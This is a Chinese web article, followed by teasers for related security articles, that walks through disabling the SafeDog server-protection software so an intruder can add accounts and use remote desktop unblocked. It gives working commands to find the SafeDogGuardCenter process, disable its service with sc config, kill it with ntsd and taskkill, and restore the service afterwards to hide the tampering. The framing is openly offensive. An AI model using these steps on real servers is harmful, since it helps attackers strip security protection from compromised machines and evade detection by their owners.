你知道安全狗如何加用户吗？这里有一种简单方法

2018-03-08 18:38:22责编：llp 来源：驱动管家人气：

上次发了安全狗下加用户的另一方法，据说不够风骚…所以这次要淫荡一点

方法同样很简单，不过不知道有没有人发过。。

PS: 转载请不要注明作者

0×01 测试环境：

安全狗的进程：

你知道安全狗如何加用户吗？这里有一种简单方法

.安全狗的服务

你知道安全狗如何加用户吗？这里有一种简单方法

.开启远程桌面守护

你知道安全狗如何加用户吗？这里有一种简单方法

.远程登录测试：

.安全狗拦截

你知道安全狗如何加用户吗？这里有一种简单方法

0×02 直入主题：

命令行下操作

tasklist |find “Safe”

你知道安全狗如何加用户吗？这里有一种简单方法

最后一个进程SafeDogGuardCenter.exe是关键，记下它的PID：1032

然后接连两个指令

sc config SafedogGuardCenter start= disabled

ntsd -c q -pid 1032

安全狗下加用户的又一方法

1032是刚才记下的SafeDogGuardCenter.exe的pid，这个进程是服务器守护的核心，没了它，安全狗的服务器守护将没有任何作用

效果：

你知道安全狗如何加用户吗？这里有一种简单方法

然后？然后就没有然后了～现在我们已经可以为所欲为了

真想看然后？那我们就来调戏一下狗狗咯

你知道安全狗如何加用户吗？这里有一种简单方法

折腾一下狗狗的进程

taskkill /f /t /im SafeDogUpdateCenter.exe /im SafeDogSiteIIS.exe /im SafeDogServerUI.exe

你知道安全狗如何加用户吗？这里有一种简单方法

0×03 总结

旨在不依靠任何外部程序，终结安全狗的守护功能。

其中使用到的NTSD命令是系统自带的【2008/win7 以上被微软删减了，需要自己上传[XP的NTSD.EXE在system32目录下]】

安全狗在网站的安全上做的还可以，对自身的安全却完全没有考虑，无力吐槽。。

核心命令就两句话，顺序不能出错

sc config SafedogGuardCenter start= disabled

ntsd -c q -pid 1032

如果不先把安全狗的服务停掉，它就会不断的重新启动[两秒重启一次我会说？]

手尾：退出远程登录之后，最好把狗狗的服务改回来

sc config SafedogGuardCenter start= auto

然后狗狗的服务会自己恢复原状的

cookies是什么？怎么采用cookies注入的方法入侵网站？
现在很多网站都采用了通用防注入程序，那么对于这种网站，我门是否就束手无策了呢？答案是否定的，因为我们可以采用cookie 注入的方法，而很多通用防注入程序对这种注入方式都没有防备。Cookies是一种能够让网站
详情2018-01-19 17:54:39责编：llp 来源：驱动管家
如何阻止利用21端口暴力破解vsftpd？
我的一台公网服务器，由于网站采取的是双备份策略，所以开放了vsftpd的21端口，近来发现许多人在尝试暴力破解vsftpd和ssh我随便看了看 var log secure日志，显示如下：复制代码代码如下:118 33 110 52=2834119 14
详情2018-03-01 14:40:02责编：llp 来源：驱动管家
查找linux系统入侵证据的步骤，从这几方面下手
要查找linux系统入侵证据，可从如下几个方面入手：last，lastlog命令可查看最近登录的帐户及时间2 var log secure , var log messages日志信息可以通过accept关键字查看系统是否有被可疑IP地址登录成功信息。
详情2018-02-15 16:26:54责编：llp 来源：驱动管家
恶意程序：开发工具blackhole是怎么勒索的？
随着时代的发展，当代木马恶意软件的趋势并不仅仅是通过洪水般的广告让你电脑当机或者是偷取你的银行密码，而是会将你的电脑锁住，让你不能干任何事情，除非你交了“赎金”。最近流行的“勒索软件”首次发现是在a
详情2018-01-02 16:03:19责编：llp 来源：驱动管家
最安全的密码：表情符号表情符号最难破解
互联网生活促成了庞大的账户密码数据，怎样设置自己登陆密码最安全？什么样的密码难破解？据媒体报道表情符号将成最安全的密码。什么样的密码难破解最安全？表情符号成最安全的密码来自英国的安全软件开发公司Int
详情2018-02-02 14:01:10责编：llp 来源：驱动管家
网络公牛的安装步骤网络公牛的配置
一、安装（一）解压：《网络公牛》（netbull zip）解包后会产生以下几个文件:1、buildserver exe他是用于把autobind dat,peepshell dll,peepserver exe,keycap dll捆绑成一个单独的可执行文件newserver exe2、pee
详情2018-02-15 14:51:17责编：llp 来源：驱动管家
勒索软件数量不断增长勒索软件通过哪些方式传播的？
近年来，中国的勒索软件明显的在增加，与此同时，防范勒索软件威胁更需要多层防护机制，想了解的用户快来看看下面的具体讲解的内容。2016年7月14日，极密盾发布了最新的勒索软件风险研究报告，分析了2015年9月-20
详情2018-01-03 15:03:17责编：llp 来源：驱动管家
openapi存在参数注入漏洞，影响所有整合openapi的应用
近日，一个广泛存在于Java、PHP、NodeJS和Ruby等流行语言开发应用的漏洞被发现，该漏洞存在于OpenAPI（Swagger Code Generator）中，属于参数注入漏洞，凡是整合Open API的应用都会受到影响。高危漏洞被发现，
详情2018-01-28 14:27:19责编：llp 来源：驱动管家
家用无线路由器怎么设置才安全？学会这六招摆平家庭无线网络安全
伴随着各运营商的宽带大提速，无线已经成为家庭组网的首选。老百姓真真切切地感觉到：无线真好!而且各厂商的在无线路由器的设置上也尽力做到人性化，以帮助大叔大妈们也能轻松的设置家庭无线网络，但一提到如何让
详情2018-01-07 15:54:21责编：llp 来源：驱动管家
直接使用asp不能重启服务器怎么办？asp怎么重启服务器？
大家知道直接使用ASP是不能够重启服务器的，这时我们需要制作一个组件来实现功能，ASP通过这个组件调用系统API，然后按照不同的重启和关机方式进行操作！下面先说COM的制作，在VB中新建一工程，当然是AceiveX dl
详情2018-02-10 08:57:16责编：llp 来源：驱动管家